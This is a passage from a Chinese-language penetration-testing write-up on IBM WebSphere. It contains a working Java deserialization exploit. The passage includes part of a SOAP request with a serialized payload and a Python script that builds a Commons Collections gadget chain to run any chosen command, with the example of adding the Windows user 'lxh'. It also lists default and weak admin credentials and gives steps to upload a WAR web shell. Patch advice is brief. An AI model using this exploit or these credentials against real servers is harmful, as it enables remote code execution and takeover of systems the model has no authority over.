uZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAABB3CAAAABAAAAAAeHh2cgASamF2YS5sYW5nLk92ZXJyaWRlAAAAAAAAAAAAAAB4cHEAfgA6</params>
<signature xsi:type="ns1:[Ljava.lang.String;">rO0ABXVyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0ACRjb20uaWJtLndlYnNwaGVyZS5tYW5hZ2VtZW50LlNlc3Npb24=</signature>
</ns1:invoke>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
Payload執行的命令是 net user lxh lxh /add,效果如下:
如果想要更改執行的命令,可通過如下代碼,代碼在python3下執行。
import base64
from binascii import unhexlify
command = "net user lxh lxh /add"
serObj = unhexlify("ACED00057372003273756E2E7265666C6563742E616E6E6F746174696F6E2E416E6E6F746174696F6E496E766F636174696F6E48616E646C657255CAF50F15CB7EA50200024C000C6D656D62657256616C75657374000F4C6A6176612F7574696C2F4D61703B4C0004747970657400114C6A6176612F6C616E672F436C6173733B7870737D00000001000D6A6176612E7574696C2E4D6170787200176A6176612E6C616E672E7265666C6563742E50726F7879E127DA20CC1043CB0200014C0001687400254C6A6176612F6C616E672F7265666C6563742F496E766F636174696F6E48616E646C65723B78707371007E00007372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A97040200015B000D695472616E73666F726D65727374002D5B4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707572002D5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E5472616E73666F726D65723BBD562AF1D83418990200007870000000057372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C000969436F6E7374616E747400124C6A6176612F6C616E672F4F626A6563743B7870767200116A6176612E6C616E672E52756E74696D65000000000000000000000078707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000274000A67657452756E74696D65757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000007400096765744D6574686F647571007E001E00000002767200106A6176612E6C616E672E537472696E67A0F0A4387A3BB34202000078707671007E001E7371007E00167571007E001B00000002707571007E001B00000000740006696E766F6B657571007E001E00000002767200106A6176612E6C616E672E4F626A656374000000000000000000000078707671007E001B7371007E0016757200135B4C6A6176612E6C616E672E537472696E673BADD256E7E91D7B470200007870000000017400")
serObj += (chr(len(command)) + command).encode('ascii')
serObj += unhexlify("740004657865637571007E001E0000000171007E00237371007E0011737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C7565787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B020000787000000001737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F40000000000010770800000010000000007878767200126A6176612E6C616E672E4F766572726964650000000000000000000000787071007E003A")
serObjB64 = base64.b64encode(serObj).decode()
print(serObjB64)
將輸出的serObjB64,替換到上面Payload中的params節點,其余無需改變。
<params xsi:type="ns1:[Ljava.lang.Object;">{serObjB64}</params>
回顯參考DeserializeExploit.jar(laster)
修復建議
7.x版本已不提供支持,因此選擇升級版本。
若版本還在IBM支持范圍,可選擇打補丁。
弱口令 && 后台Getshell
在6.x至7.0版本,后台登陸只需要輸入 admin作為用戶標識,無需密碼,即可登陸后台。常用弱口令:websphere/ websphere、system/ manager。
1、點擊WebSphere 企業應用程序,點擊安裝。
2.上傳war包,點擊下一步。
3、一直點擊下一步,直到下圖,填寫上下文根,關系到你訪問的URL,接着一直點下一步直到安裝完成
4、安裝完成之后,點擊保存主配置,然后回到WebSphere 企業應用程序,選中war包啟動,訪問shell。
修復建議:設置密碼。